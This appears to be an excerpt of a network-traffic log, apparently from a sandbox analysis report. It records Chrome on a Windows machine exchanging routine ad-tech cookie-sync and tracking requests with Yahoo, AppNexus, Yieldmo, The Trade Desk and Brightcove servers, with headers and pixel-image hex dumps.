2024-05-23 22:35:18 UTC	967	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:18 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:18 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://dpm.demdex.net/ibs:dpid=30646?dpuuid=y-pCeRw1ZE2pGRGUFZktML7yIoG3E94dDpmpM-~A&redir=https%3A%2F%2Fups.analytics.yahoo.com%2Fups%2F58782%2Fcms%3Fpartner_id%3DADOBE%26_origin%3Dfalse%26_redirect%3Dfalse%26_hosted_id%3D%24%7BDD_UUID%7D Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
780	192.168.2.6	50623	87.248.119.251	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1758	OUT	GET /setuid?bidder=appnexus&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=i&uid=9165965397510453586 HTTP/1.1 Host: pbs.yahoo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; A1S=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; uids=eyJ0ZW1wVUlEcyI6eyJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVz [TRUNCATED]
2024-05-23 22:35:18 UTC	1274	IN	HTTP/1.1 200 OK content-type: image/png set-cookie: uids=eyJ0ZW1wVUlEcyI6eyJhZG54cyI6eyJ1aWQiOiI5MTY1OTY1Mzk3NTEwNDUzNTg2IiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTguNzI1MzI1OTA1WiJ9LCJndW1ndW0iOnsidWlkIjoiZV8xMmVhMWRkMi03N2YwLTQ5ZDgtOGFlZi05MDc2OGUxMmQ3YWMiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowMS4wNjMzNTMxNFoifSwicnViaWNvbiI6eyJ1aWQiOiJMV0pUWkFCTi1YLUs0UFciLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNi44OTAzMjAxMjlaIn0sInNvbm9iaSI6eyJ1aWQiOiIzZTY5OTE1YS1hYTgxLTQ1M2MtOGJlNi02MjFhZjcxNTBmNDEiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNToxMy41NjY4NjU4ODlaIn0sInR0ZCI6eyJ1aWQiOiIzZTA3N2JiNC1iZjRhLTRjMTktOTMzZS1jOThkZGQ4ODE0MmUiLCJleHBpcmVzIjoiMjAyNC0wNi0wNlQyMjozNTowNC42OTUzODA2OTRaIn0sInVucnVseSI6eyJ1aWQiOiJSWC03YzY0ZjdiNC03YTkwLTQ1ZWItOTFhZS1hZjc2ZTUyM2Q5NjMtMDAzIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTQuODU4ODA2MzI2WiJ9LCJ5aWVsZG1vIjp7InVpZCI6IlZJM00zWVlLS29ZU2hGamk4UDhDIiwiZXhwaXJlcyI6IjIwMjQtMDYtMDZUMjI6MzU6MTcuMDgxOTIxMDA4WiJ9fX0=; Path=/; Domain=pbs.yahoo.com; Expires=Thu, 21 Nov 2024 22:35:18 GMT; HttpOnly; Secure; SameSite=None vary: Origin content-length: 86 date: Thu, 23 May 2024 22:35:18 GMT x-envoy-upstream-service-time: 0 server: ATS x-envoy-decorator-operation: pbs--production-euwe1.mediaplatform-gcp-prod-monetization.svc.cluster.local:4080/*
2024-05-23 22:35:18 UTC	295	IN	Data Raw: 52 65 66 65 72 72 65 72 2d 50 6f 6c 69 63 79 3a 20 6e 6f 2d 72 65 66 65 72 72 65 72 2d 77 68 65 6e 2d 64 6f 77 6e 67 72 61 64 65 0d 0a 41 67 65 3a 20 30 0d 0a 43 6f 6e 6e 65 63 74 69 6f 6e 3a 20 63 6c 6f 73 65 0d 0a 53 74 72 69 63 74 2d 54 72 61 6e 73 70 6f 72 74 2d 53 65 63 75 72 69 74 79 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 0d 0a 45 78 70 65 63 74 2d 43 54 3a 20 6d 61 78 2d 61 67 65 3d 33 31 35 33 36 30 30 30 2c 20 72 65 70 6f 72 74 2d 75 72 69 3d 22 68 74 74 70 3a 2f 2f 63 73 70 2e 79 61 68 6f 6f 2e 63 6f 6d 2f 62 65 61 63 6f 6e 2f 63 73 70 3f 73 72 63 3d 79 61 68 6f 6f 63 6f 6d 2d 65 78 70 65 63 74 2d 63 74 2d 72 65 70 6f 72 74 2d 6f 6e 6c 79 22 0d 0a 58 2d 58 53 53 2d 50 72 6f 74 65 63 74 69 6f 6e 3a 20 31 3b 20 6d 6f 64 65 3d 62 6c Data Ascii: Referrer-Policy: no-referrer-when-downgradeAge: 0Connection: closeStrict-Transport-Security: max-age=31536000Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only"X-XSS-Protection: 1; mode=bl
2024-05-23 22:35:18 UTC	86	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 08 06 00 00 00 1f 15 c4 89 00 00 00 04 73 42 49 54 08 08 08 08 7c 08 64 88 00 00 00 0d 49 44 41 54 08 99 63 60 60 60 60 00 00 00 05 00 01 87 a1 4e d4 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDRsBIT\|dIDATc````NIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
781	192.168.2.6	50648	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	2006	OUT	OPTIONS /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&time=1716503717094&event=video_view&video=6353510307112&video_name=3%20Things%20to%20Know%3A%20Graceland%2C%20Prince%20William%2C%20Barrymore&reference_id=42b897a6-9771-3329-b351-69a701a77438&custom_fields=&video_data=&video_ads_supported=true&&video_duration=68&media_url=https%3A%2F%2Fmanifest.prod.boltdns.net%2Fmanifest%2Fv1%2Fhls%2Fv4%2Faes128%2F6415665815001%2F6b9daf23-4bde-40fd-8649-5be6dcb9691e%2F6s%2Fmaster.m3u8%3Ffastly_token%3DNjY0ZmQyYTRfNWNiMTk1ODk1ZjEzZTI4MWM2NzRhYTliNGI1ZTZiZWJiYmI1MjIzNThkNmVlY2FiNDI5ZWZjYjE3ZWFjYTJlZg%253D%253D%26bcov_auth%3DeyJhbGciOiJSUzI1NiJ9.eyJhdWQiOlsicGxheWJhY2suYXBpLmJyaWdodGNvdmUuY29tIl0sImFjY2lkIjoiNjQxNTY2NTgxNTAwMSIsInBraWQiOiI5Mj [TRUNCATED] Host: metrics.brightcove.com Connection: keep-alive Accept: / Access-Control-Request-Method: GET Access-Control-Request-Headers: authorization Origin: https://s.yimg.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Sec-Fetch-Mode: cors Sec-Fetch-Site: cross-site Sec-Fetch-Dest: empty Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:18 UTC	493	IN	HTTP/1.1 200 OK content-length: 0 content-type: text/plain; version=0.0.4; charset=utf-8 cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:18 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
782	192.168.2.6	50640	37.252.171.21	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	706	OUT	GET /prebid/setuid?bidder=rubicon&uid=LWJTZABN-X-K4PW&gdpr=0&us_privacy=1YNN HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: uuid2=9165965397510453586; anj=dTM7k!M40DF7/.XF']wIg2GU$idD1q!]tbP6j2F-.aDyjByG0>mcD53/l.RZ>LZqlI`sLCzK3/=qJR:4=sB!$x_+7tgUd; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA4LTIxVDIyOjM1OjA5WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA1LTIzVDIyOjM1OjA5WiJ9
2024-05-23 22:35:18 UTC	1785	IN	HTTP/1.1 200 OK Server: nginx/1.23.4 Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif Content-Length: 43 Connection: close Cache-Control: no-store, no-cache, private Pragma: no-cache Expires: Sat, 15 Nov 2008 16:00:00 GMT P3P: policyref="http://cdn.adnxs-simple.com/w3c/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" X-XSS-Protection: 0 Accept-CH: Sec-CH-UA-Full-Version-List,Sec-CH-UA-Arch,Sec-CH-UA-Model,Sec-CH-UA-Platform-Version,Sec-CH-UA-Bitness AN-X-Request-Uuid: 6e7ef0b3-6912-4af8-b0df-2565bbb47d60 Set-Cookie: XANDR_PANID=RdA2sovYvFdLVCJGH85entVsrT-MQLOaU-YugyJa5KXvnpWjqADdb30mpY7Lh9Nj-GhT2oZ-c8YbGuwKEPGyGmHBVH3yIOK9S9StQWh3smk.; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:18 GMT; Domain=.adnxs.com; Secure; Partitioned Set-Cookie: anj=dTM7k!M40DF7/.XF']wIg2GU$idD1q!]tbW8bhzs#DNB)PYwUrZegYA'NVRTJqeK^1%ykaE8HvwP?JgqF1`*b^]^(Ut+9; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:18 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: receive-cookie-deprecation=1; SameSite=None; Path=/; Max-Age=314496000; Expires=Thu, 11-May-2034 22:35:18 GMT; Domain=.adnxs.com; Secure; HttpOnly; Partitioned Set-Cookie: uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA4LTIxVDIyOjM1OjE4WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA1LTIzVDIyOjM1OjA5WiJ9; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:18 GMT; Domain=.adnxs.com; Secure; HttpOnly Set-Cookie: uuid2=9165965397510453586; SameSite=None; Path=/; Max-Age=7776000; Expires=Wed, 21-Aug-2024 22:35:18 GMT; Domain=.adnxs.com; Secure; HttpOnly X-Proxy-Origin: 8.46.123.175; 8.46.123.175; 1004.bm-nginx-loadbalancer.mgmt.fra1.adnexus.net; adnxs.com
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 01 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 40 02 02 4c 01 00 3b Data Ascii: GIF89a!,@L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
783	192.168.2.6	50646	3.71.149.231	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	1047	OUT	GET /ups/58692/cms?partner_id=NEUAR&orig=ono HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A; IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila"
2024-05-23 22:35:19 UTC	823	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:18 GMT Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC="18z8~2ila:19ac~2ila:19aj~2ila:19bn~2ila:19bu~2ila:19cu~2ila:19cw~2ila:19e0~2ila:19e7~2ila:19ea~2ila";Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Fri, 23-May-2025 22:35:18 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://aa.agkn.com/adscores/g.pixel?sid=9202214988&yho=y-dLUnufFE2p7UEGsnit2nlgG2WtFqOJ3bix8-~A Age: 0 Connection: close Server: ATS/9.1.10.112 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:18 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
784	192.168.2.6	50652	15.197.193.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	914	OUT	GET /track/cmf/generic?ttd_pid=adconductor&ttd_tpi=1&rndcb=6503998404 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgASgCMgsIrvyw8-rg_TwQBTgBWgc4bTMzems0YAI.
2024-05-23 22:35:18 UTC	574	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:18 GMT Content-Length: 181 Connection: close server: Kestrel location: https://sync.1rx.io/usersync/tradedesk/8369ae03-bf51-422b-a15c-33306b0e1dfe set-cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; expires=Fri, 23 May 2025 22:35:18 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgASgCMgsI3ruyr-vg_TwQBTgBWgthZGNvbmR1Y3RvcmAC; expires=Fri, 23 May 2025 22:35:18 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:35:18 UTC	181	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 31 72 78 2e 69 6f 2f 75 73 65 72 73 79 6e 63 2f 74 72 61 64 65 64 65 73 6b 2f 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 22 3e 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 31 72 78 2e 69 6f 2f 75 73 65 72 73 79 6e 63 2f 74 72 61 64 65 64 65 73 6b 2f 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://sync.1rx.io/usersync/tradedesk/8369ae03-bf51-422b-a15c-33306b0e1dfe">https://sync.1rx.io/usersync/tradedesk/8369ae03-bf51-422b-a15c-33306b0e1dfe</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
785	192.168.2.6	50634	52.209.140.47	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	633	OUT	GET /v000/sync?userid=9165965397510453586&pn_id=an HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856; ptran=9165965397510453586; ptrrc=LWJTZABN-X-K4PW; ptrpp=7WXU1ZUhF2Kx; ptrc=CAESEOEc1rz1IR8Gw4xvRTDNP88
2024-05-23 22:35:18 UTC	774	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close Set-Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:18 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptran=9165965397510453586; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:18 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
786	192.168.2.6	50637	52.209.140.47	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	620	OUT	GET /sync?pn_id=rc&id=LWJTZABN-X-K4PW HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856; ptran=9165965397510453586; ptrrc=LWJTZABN-X-K4PW; ptrpp=7WXU1ZUhF2Kx; ptrc=CAESEOEc1rz1IR8Gw4xvRTDNP88
2024-05-23 22:35:18 UTC	770	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close Set-Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:18 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptrrc=LWJTZABN-X-K4PW; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:18 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
787	192.168.2.6	50635	52.209.140.47	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	689	OUT	GET /v000/sync?userid=7WXU1ZUhF2Kx&ev=1&pn_id=pp&gpp_sid=&gpp=&us_privacy=&pid=561118&gdpr_consent=&gdpr=0 HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856; ptran=9165965397510453586; ptrrc=LWJTZABN-X-K4PW; ptrpp=7WXU1ZUhF2Kx; ptrc=CAESEOEc1rz1IR8Gw4xvRTDNP88
2024-05-23 22:35:18 UTC	767	IN	HTTP/1.1 200 Date: Thu, 23 May 2024 22:35:18 GMT Content-Type: image/gif;charset=utf-8 Content-Length: 43 Connection: close Set-Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:18 GMT; Domain=yieldmo.com; Path=/; Secure; SameSite=None Set-Cookie: ptrpp=7WXU1ZUhF2Kx; Max-Age=31536000; Expires=Fri, 23 May 2025 22:35:18 GMT; Domain=ads.yieldmo.com; Path=/; Secure; SameSite=None Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Cache-Control, Pragma, * Access-Control-Allow-Methods: POST, GET, OPTIONS Pragma: no-cache Accept-CH: Sec-CH-UA,Sec-CH-UA-Full-Version-List,Sec-CH-UA-Platform,Sec-CH-UA-Platform-Version,Sec-CH-UA-Model,Sec-CH-UA-Arch,Sec-CH-UA-Bitness,Sec-CH-UA-Mobile
2024-05-23 22:35:18 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
788	192.168.2.6	50636	52.209.140.47	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:18 UTC	658	OUT	GET /v000/sync?pn_id=c&google_gid=CAESEOEc1rz1IR8Gw4xvRTDNP88&google_cver=1 HTTP/1.1 Host: ads.yieldmo.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: yieldmo_id=VI3M3YYKKoYShFji8P8C%7C1716422400000%7C0; re_sync=pp%3D1192856%7Crc%3D1192856%7Cc%3D1192856%7Cdv360%3D1192856%7Can%3D1192856; ptran=9165965397510453586; ptrrc=LWJTZABN-X-K4PW; ptrpp=7WXU1ZUhF2Kx; ptrc=CAESEOEc1rz1IR8Gw4xvRTDNP88
